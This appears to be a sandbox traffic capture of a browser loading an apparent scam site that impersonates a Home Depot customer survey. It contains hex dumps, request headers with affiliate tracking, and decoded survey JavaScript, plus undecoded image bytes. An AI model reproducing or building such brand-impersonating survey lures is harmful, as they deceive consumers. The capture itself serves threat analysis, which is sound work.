BIM`h8DAdobe_CMAdobedh"?
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 30 e9 74 8d 0f 32 ed cd fc ee 7d ca ed 35 16 89 00 b8 b8 40 9f 69 d3 fe 83 da 85 8e d7 fd 17 bc 12 e2 01 1a f0 4c 4e d8 77 ee ae 4b ac 7f 8c 53 45 af c7 e8 b8 e2 1a 4b 3e d9 94 09 2e da 7e 9d 18 ba 31 9e e1 fe 1f d6 f6 7f 81 aa c4 e0 09 41 34 f7 b4 b0 b4 6b ed 9d 00 02 7f cd 9f a1 f4 51 9f b0 b4 7b 83 6e 79 2d 69 27 db af bb dd b9 de 9d 9b b6 ed 5e 42 df af bf 5b 41 91 9f f2 f4 68 db fe 67 a3 b5 6c f4 df f1 a3 98 ca 5f 47 55 c5 66 43 5e d7 37 d7 c7 db 55 80 b8 39 bb fd 3b 59 7e 36 e6 b9 de cf 4e ba 7f eb 9f cd a3 c2 42 2c 3b 9d 57 aa f5 4e a9 98 ce 97 d1 ee b3 1e 87 bf 6b ef ac ec b1 d5 b4 87 dd 95 5b ff 00 9e aa aa bf 33 df fd 1f d4 f5 7d f7 55 e9 52 fa cd d2 fe ab f4 0a 1a 7a 8d 99 bd 6f 37 2b df 8d 8b 97 92 e6 82 3e 8b b2 b2 3d 00 cb 2b c7 6b 9b ec fd Data Ascii: 0t2}5@iLNwKSEK>.~1A4kQ{ny-i'^B[Ahgl_GUfC^7U9;Y~6NB,;WNk[3}URzo7+>=+k
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: c9 ce ad b6 e3 45 84 32 cb 0b 1e 1a 7c 2b b3 21 ae d7 fe 23 e8 2f 2f e8 dd 1a ce 9e e7 df 7e 97 bb d8 6b 04 8d ad 1a bf 73 bf 7d ce ff 00 31 1b aa f5 ea 29 c5 60 0f ba d3 79 70 aa cc 6c 80 1c cd a1 be ad b5 dd b5 cc 63 f6 5b e9 fb 99 63 fd ff 00 a3 f4 d6 17 39 ee 67 e6 bf 54 6f 41 0d af d5 ea f5 71 37 61 80 43 17 14 cf 09 17 a3 d8 67 0f aa 7f 59 46 e6 db 5b f3 9d 50 65 57 56 36 5e 1a 76 e4 32 bd ef 6b da ef ea 3d 9f f9 f1 79 ff 00 d6 3c 7b 3a 47 da b1 c5 9b cb 1b 35 5a d8 d4 3b f4 6d fa 05 cd 6d b5 d9 be ab 3d df ce d6 a7 8d f5 a2 aa ad aa d7 5f 9d 34 ee 25 d6 36 8b 9c 41 0e df ba e2 ea ec 6f b5 db 7f 45 e9 bd 61 7d 67 eb f6 75 bc ef 5d a5 e2 96 56 da 9a d7 17 0d d0 5d 6b ed 75 4e b6 ff 00 4b 75 d6 bf d2 a3 d4 7b 31 e9 f4 a9 fc c5 63 1f 2f 97 dd 8c 48 3e Data Ascii: E2\|+!#//~ks}1)`yplc[c9gToAq7aCgYF[PeWV6^v2k=y<{:G5Z;mm=_4%6AoEa}gu]V]kuNKu{1c/H>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49776	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	419	OUT	GET /js/script.js HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:40 UTC	1057	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: application/javascript Content-Length: 11959 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d293e-2eb7" expires: Wed, 08 Jan 2025 14:44:39 GMT last-modified: Tue, 07 Jan 2025 13:16:46 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0tD3iCuH2acIW7sAejKys4IIYixAsXoBGgwFIpo07qAhJ7O8PqF5CZFaXOUULUZ5R3dA5iSJ7OgKv0mYRYS3uRE258PA4jZUlwijt8I3UoaZ5CNxBZg4y3%2BzCWDOwy1WQVwZKmTIe%2BZoNhRA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7862abbf793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1489&rtt_var=570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=997&delivery_rate=1902280&cwnd=152&unsent_bytes=0&cid=ca31a27c19151ba1&ts=936&x=0"
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 76 61 72 20 61 6e 73 77 65 72 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 3b 0d 0a 76 61 72 20 6c 61 73 74 51 6e 75 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 6e 6e 6c 73 74 6d 20 2e 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 22 29 2e 6c 65 6e 67 74 68 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 65 78 74 28 65 6c 65 29 20 7b 0d 0a 20 20 20 20 69 66 28 65 6c 65 2e 76 61 6c 75 65 3d 3d 22 31 22 29 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 62 64 79 61 6c 6e 31 22 29 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e Data Ascii: var answers = document.querySelectorAll(".clsnqaaa-select");var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;function toNext(ele) { if(ele.value=="1"){ document.getElementsByClassName("bdyaln1")[0].classList.
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 22 63 6c 73 6e 71 61 61 61 2d 70 72 67 64 6e 6e 34 22 29 5d 3b 0d 0a 0d 0a 76 61 72 20 6c 6f 61 64 49 6d 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6c 73 6e 71 61 61 61 2d 70 72 6f 67 72 65 73 73 2d 6c 6f 61 64 69 6e 67 22 29 3b 0d 0a 76 61 72 20 6c 6f 61 64 42 67 43 6f 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6e 74 65 6e 74 2d 63 68 61 6e 67 65 43 6f 6c 22 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 72 61 77 6c 6f 61 64 65 72 28 29 7b 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 30 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 Data Ascii: "clsnqaaa-prgdnn4")];var loadImg = document.getElementById("clsnqaaa-progress-loading");var loadBgCol = document.getElementById("content-changeCol");function drawloader(){ setTimeout(function () { dones[0].style.display="block";
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 20 7d 2c 33 35 30 30 29 3b 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 30 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 31 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 31 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 31 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 55 70 22 29 3b 0d 0a 20 20 20 20 7d 2c 35 35 30 30 29 3b 0d Data Ascii: },3500); setTimeout(function () { dones[0].style.display="none"; dones[1].style.display="block"; dones[1].classList.add("animate__animated"); dones[1].classList.add("animate__fadeInUp"); },5500);
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 32 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 6e 65 73 5b 32 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 55 70 22 29 3b 0d 0a 20 20 20 20 7d 2c 39 35 30 30 29 3b 0d 0a 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 32 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 73 74 61 74 65 73 5b 32 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 Data Ascii: splay="block"; dones[2].classList.add("animate__animated"); dones[2].classList.add("animate__fadeInUp"); },9500); setTimeout(function () { states[2].style.display="block"; states[2].classList.add("animate__a
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 76 65 72 69 66 2d 63 6f 6e 74 65 6e 74 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 31 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 62 6c 6f 63 6b 22 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 7a 61 31 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d Data Ascii: etTimeout(function () { document.getElementById("verif-content").style.display = "none"; document.getElementById("pza1").style.display = "block"; document.getElementById("pza1").classList.add("animate__animated"); docum
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 4e 65 78 74 28 74 68 69 73 29 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 61 6e 73 77 65 72 73 5b 69 5d 2e 6f 6e 63 6c 69 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 4e 65 78 74 28 74 68 69 73 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6d 6d 65 6e 74 73 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: ck = function () { toNext(this) } } else { answers[i].onclick = function () { toNext(this); document.getElementById("comments").classList.add("animate__animated"); document.getElem
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 2e 71 68 64 61 22 29 20 7c 7c 20 5b 5d 3b 0d 0a 63 6f 6e 73 74 20 71 75 65 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 6c 74 78 74 22 29 20 7c 7c 20 5b 5d 3b 0d 0a 63 6f 6e 73 74 20 71 6e 75 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 6c 73 71 6e 75 22 29 20 7c 7c 20 5b 5d 3b 0d 0a 0d 0a 66 6f 72 28 76 61 72 20 71 6e 20 3d 20 30 3b 20 71 6e 20 3c 20 71 6e 75 6d 2e 6c 65 6e 67 74 68 3b 20 71 6e 2b 2b 29 7b 0d 0a 20 20 20 20 71 68 65 64 5b 71 6e 5d 2e 69 6e 6e 65 72 54 65 78 74 20 3d 20 22 54 68 65 20 48 6f 6d 65 20 44 65 70 6f 74 20 43 75 73 74 6f 6d 65 72 20 45 78 70 65 72 69 65 6e 63 65 20 53 75 72 76 65 79 22 3b 0d 0a 20 20 20 20 71 6e 75 6d 5b Data Ascii: .qhda") \|\| [];const ques = document.querySelectorAll(".cltxt") \|\| [];const qnum = document.querySelectorAll(".clsqnu") \|\| [];for(var qn = 0; qn < qnum.length; qn++){ qhed[qn].innerText = "The Home Depot Customer Experience Survey"; qnum[
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 73 68 6f 70 20 66 6f 72 20 74 68 65 6d 22 2c 0d 0a 20 20 20 20 22 57 68 61 74 e2 80 99 73 20 74 68 65 20 6d 6f 73 74 20 69 6d 70 6f 72 74 61 6e 74 20 71 75 61 6c 69 74 79 20 69 6e 20 61 20 74 6f 6f 6c 20 6f 72 20 68 61 72 64 77 61 72 65 20 70 72 6f 64 75 63 74 20 79 6f 75 20 62 75 79 3f 22 2c 0d 0a 20 20 20 20 22 44 75 72 61 62 69 6c 69 74 79 22 2c 0d 0a 20 20 20 20 22 45 61 73 65 20 6f 66 20 75 73 65 22 2c 0d 0a 20 20 20 20 22 42 72 61 6e 64 20 72 65 70 75 74 61 74 69 6f 6e 22 2c 0d 0a 20 20 20 20 22 56 61 6c 75 65 20 66 6f 72 20 6d 6f 6e 65 79 22 2c 0d 0a 20 20 20 20 22 49 66 20 79 6f 75 20 68 61 64 20 74 6f 20 64 65 73 63 72 69 62 65 20 54 68 65 20 48 6f 6d 65 20 44 65 70 6f 74 20 74 6f 20 61 20 66 72 69 65 6e 64 2c 20 77 68 61 74 20 77 6f 75 6c 64 20 Data Ascii: shop for them", "Whats the most important quality in a tool or hardware product you buy?", "Durability", "Ease of use", "Brand reputation", "Value for money", "If you had to describe The Home Depot to a friend, what would
2025-01-08 14:44:41 UTC	1007	IN	Data Raw: 6c 61 62 67 2d 72 76 22 29 3b 0d 0a 20 20 20 20 6d 6f 64 73 63 6c 61 69 6d 2e 63 68 69 6c 64 72 65 6e 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 6d 64 6c 61 69 6e 6e 22 29 3b 0d 0a 20 20 20 20 6d 6f 64 73 63 6c 61 69 6d 2e 63 68 69 6c 64 72 65 6e 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6d 64 6c 61 69 6e 6e 2d 72 76 22 29 3b 0d 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 20 20 20 20 6d 6f 64 73 63 6c 61 69 6d 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 69 64 64 65 6e 22 29 3b 0d 0a 20 20 20 20 7d 2c 31 30 30 30 29 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 62 74 6e 2d 74 65 72 63 6f 6e 22 29 2e Data Ascii: labg-rv"); modsclaim.children[0].classList.remove("mdlainn"); modsclaim.children[0].classList.add("mdlainn-rv"); setTimeout(function(){ modsclaim.classList.add("hidden"); },1000);}document.getElementById("btn-tercon").

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49777	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	814	OUT	GET /images/3.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:40 UTC	1052	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: image/jpeg Content-Length: 65241 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294c-fed9" expires: Wed, 08 Jan 2025 14:44:39 GMT last-modified: Tue, 07 Jan 2025 13:17:00 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kIaxftYAwCNoR%2FBeYGKnRIVC4ZyIRcOuDCsrdDr64kWym815GcwQot7o0C7soyyiGcmRw7l37zHhbLhZ%2Bt87EZ5iGQjFJDTr15DSmm%2Fwi49dljKBK1VaSxhCzXzRffN4KRzXEysnhxiCIC%2B%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7862d6def9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1781&min_rtt=1776&rtt_var=677&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1392&delivery_rate=1601755&cwnd=219&unsent_bytes=0&cid=4619f88d44c9e728&ts=953&x=0"
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: ff d8 ff e1 24 c0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 03 c0 00 00 01 01 00 03 00 00 00 01 03 c0 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 38 3a 35 31 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: $ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:18:510
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 4e 4d 59 39 39 96 59 fa 1b 66 ac 66 03 04 9b 20 dd 6b 6b ff 00 83 6f e8 77 aa 3f 54 71 ec b7 2a d3 54 36 cb 0b 69 6b bf 77 77 ba cd bf d5 ac 2a df 59 7a b3 fa ae 7b af 70 da d6 7b 2b 67 87 97 fe 4d 74 1f 51 30 5e fc 7b 2e 8d ad 0e db bb bc b8 4b bf e8 7b 53 f8 44 b4 ad 0c b8 bf 1e 35 dc 46 10 27 a8 8f 0f e1 c0 f5 3b da 1c 1b 5e 94 e3 36 3e 04 08 ff 00 c0 d9 ff 00 4d 71 dd 43 37 23 2f 3c ba b0 0b 9e e3 b1 8e 3a 08 69 0c ff 00 a0 17 4d d6 af af 1f a7 ba 9a fe 95 9e c6 c7 30 7f 9c 77 f9 ab 8a ce c9 ae 8c 6b 2d 73 b6 ba c7 16 06 77 d3 e9 7f e7 7f 98 8e 5f 51 10 1e 33 97 d3 e4 1f e3 7f d0 61 c5 a0 94 bf c0 87 d7 e7 3f e2 ad 89 d6 b1 ad df 89 d4 8b 45 b4 e8 cc 86 8d 81 cd 8e cf 1f cd d8 c4 df b6 fa 23 2f 6d 2d be e7 b5 b1 ed 70 96 1f 29 fa 4e 5c d5 cc 36 ef b1 Data Ascii: NMY99Yff kkow?TqT6ikwwYz{p{+gMtQ0^{.K{SD5F';^6>MqC7#/<:iM0wk-sw_Q3a?E#/m-p)N\6
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 3e a7 58 e2 eb 6c 2c 7f b2 e8 dd ed 6f a9 fb fb 56 1d b9 39 3b 27 d4 73 43 9a 1a d6 9f a6 e6 37 f7 ff 00 cd 4c 86 32 09 aa 00 9b d3 d3 72 fd 29 33 48 82 07 16 b4 2b 5a 3e 91 fa 2f 6f f5 63 a8 bb a9 f5 5c 9b cd 7e 93 80 37 5e c8 86 8b 2c 3f e0 bf 91 f9 eb 7d c4 b6 c9 ee 38 5c bf d4 26 3a b3 99 6b 8e bb 2b 61 27 c5 c5 d6 ff 00 d4 ed 5b 99 59 05 a4 90 e0 3c 94 39 00 12 34 d8 85 90 3c 9b 56 e5 5d 4b 5c fa 5e 6b b2 08 dc 35 ff 00 39 bf 9c d5 52 de a8 cc c7 1b 2d ae b6 4b 49 dc c9 86 db fc b1 ff 00 09 67 d0 b1 67 d9 d5 d8 1a 5b 61 8e c4 ae 4f ac e6 64 e3 e4 51 93 8b 63 ab dc 4b da e6 98 82 0f d1 ff 00 35 08 40 ce 42 3d 2f 88 03 b7 14 55 90 88 c4 c8 ef 5c 24 8d f8 64 f7 7d 73 aa 5d 77 47 39 2f 60 a6 f6 90 cb 2b 69 dc 0e bb 83 8f ee 3d db bf 9b 5c cd 65 95 80 c7 Data Ascii: >Xl,oV9;'sC7L2r)3H+Z>/oc\~7^,?}8\&:k+a'[Y<94<V]K\^k59R-KIgg[aOdQcK5@B=/U\$d}s]wG9/`+i=\e
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 7a 7c c6 b3 23 16 ca ac 61 7d 65 a7 80 4f dd 09 bc 54 6d 55 d1 f2 93 ea b5 c5 bf 4a 38 9f f6 a2 d7 43 6c 69 b2 e6 b6 aa da 76 9b ac 05 b0 e8 9d 8c 2c fe 7a df f8 3a d5 bb b0 5c cb dc ec c6 3e bc 7a ff 00 38 7b 6c 71 fc ca aa 9f a0 eb 3f 3b 77 f3 6c fd 22 16 4b f2 32 20 38 37 d2 68 db 55 24 7b 2b 07 f3 6a fd df e5 bf f9 cb 7f 3d 58 12 04 0a 60 20 86 bf af d2 fd 4f 44 7a ce 61 d1 d7 b9 c2 5b e7 5d 0d 3f 47 77 fa 4b 77 ec 49 54 38 ac f5 83 43 48 77 7a cf 7f ea bb f7 52 4f a8 f7 3b 2d b3 e0 ff 00 ff d3 e5 f3 df 66 3b 9f 8e d6 8d a0 41 0d e5 d4 bb dd b5 bf f1 8f 6a b9 d0 7e ab d5 d5 6b 7e 66 69 f4 b0 59 2d 65 75 9d a6 cb 40 f6 b0 b9 df cd e3 d7 bb 65 9b 7f 48 a8 64 d1 7f d9 1a 2b ad ce c7 6b 1d 75 0e 02 5d 5d 6e 74 3e a7 4f fa 3b 7f c0 ff 00 a3 45 e9 3d 6e cc Data Ascii: z\|#a}eOTmUJ8Cliv,z:\>z8{lq?;wl"K2 87hU${+j=X` ODza[]?GwKwIT8CHwzRO;-f;Aj~k~fiY-eu@eHd+ku]]nt>O;E=n
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 11 1c f6 51 48 d9 b2 75 65 8d d0 03 67 86 fa d1 d3 b1 b1 7a 73 f6 be cb 1c d2 df 75 d6 17 c0 9f cc 0e f6 d6 b9 3e 9f ea ba bc 9a eb 61 71 b4 02 d2 04 89 07 77 f5 57 47 f5 b3 a9 7d a6 ef b2 62 ba 5a c3 36 d8 20 89 fd c0 b9 aa 9d be f3 55 d6 3d ec 2d 32 41 92 08 fa 25 ac fa 3f 4b f3 15 8c 20 fb 66 fa fa be c6 be 72 38 f4 e8 29 d9 6d 4d ab 0d a7 23 6b c3 b7 92 1c 77 3f 51 50 b2 af dd fc df a5 b9 66 db 7b 5e 65 fb 43 47 66 80 d1 03 e8 ce df a5 b5 5c 2c 75 5f aa bd 86 eb ac 1b 9e ca 04 ed 1e d6 d3 0d fa 3f 43 de f5 52 fe 83 d5 19 5b ac 35 1f 48 09 30 75 8f ea 21 0e 1b f5 1a bd bf b1 60 07 a4 78 be 8b 0c ca 8b 76 b1 e5 b3 c3 5a 21 bf 38 6e ef fa 48 0e 78 17 b2 da df 16 35 ed 2c 73 4e e2 1c 08 da ef f3 95 7f 43 25 de d0 c7 48 fc d0 14 f1 ab 2d ba bb 44 1f 4d cd Data Ascii: QHuegzsu>aqwWG}bZ6 U=-2A%?K fr8)mM#kw?QPf{^eCGf\,u_?CR[5H0u!`xvZ!8nHx5,sNC%H-DM
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 31 65 55 d5 99 8a d1 8a da 06 53 6d 9b 6a 24 7a 6e 0f 80 d0 db 36 6e df 5d 68 d5 75 5a 5b 59 73 99 bf 2b d1 7b de 44 06 9b 49 db 5b 6a 6c fb 6a 65 7f 9c f5 52 a5 f6 b7 44 e0 21 7d 78 48 a3 fe 23 47 0e ba 68 c5 36 64 30 35 d6 3c 5a f6 10 0b 6b 3a b5 fe ac 7d 27 58 df a5 5b 14 1c cc 7c 90 f7 06 1d 23 dc ff 00 6c c9 db ed fe b7 ee ab d8 39 ae c7 69 b2 8c 61 5d a2 1a 71 e2 58 e1 68 3b b6 ba ef a5 63 f6 fb de 87 f6 77 9a 58 2b 71 60 0d 61 73 9e 07 b7 6f d1 06 b6 9f d1 ff 00 c6 6c fd 2b 11 32 d4 d9 ae da b5 cd 77 72 d9 d3 aa b6 1e d6 10 08 71 d4 49 01 a7 6e ef e5 ee fc c5 72 91 45 0c 68 bd be 8b 9d 00 38 b8 1f 71 ec 6c 73 76 fa 76 7e e7 f3 95 a9 bb 15 f5 54 7d 6d a1 a5 fb 9c f9 da 1c e8 db 5f d2 dd f4 1d fb ad 55 5c e7 33 46 01 0d 27 70 76 a0 eb f4 5d b9 3a f8 Data Ascii: 1eUSmj$zn6n]huZ[Ys+{DI[jljeRD!}xH#Gh6d05<Zk:}'X[\|#l9ia]qXh;cwX+q`asol+2wrqInrEh8qlsvv~T}m_U\3F'pv]:
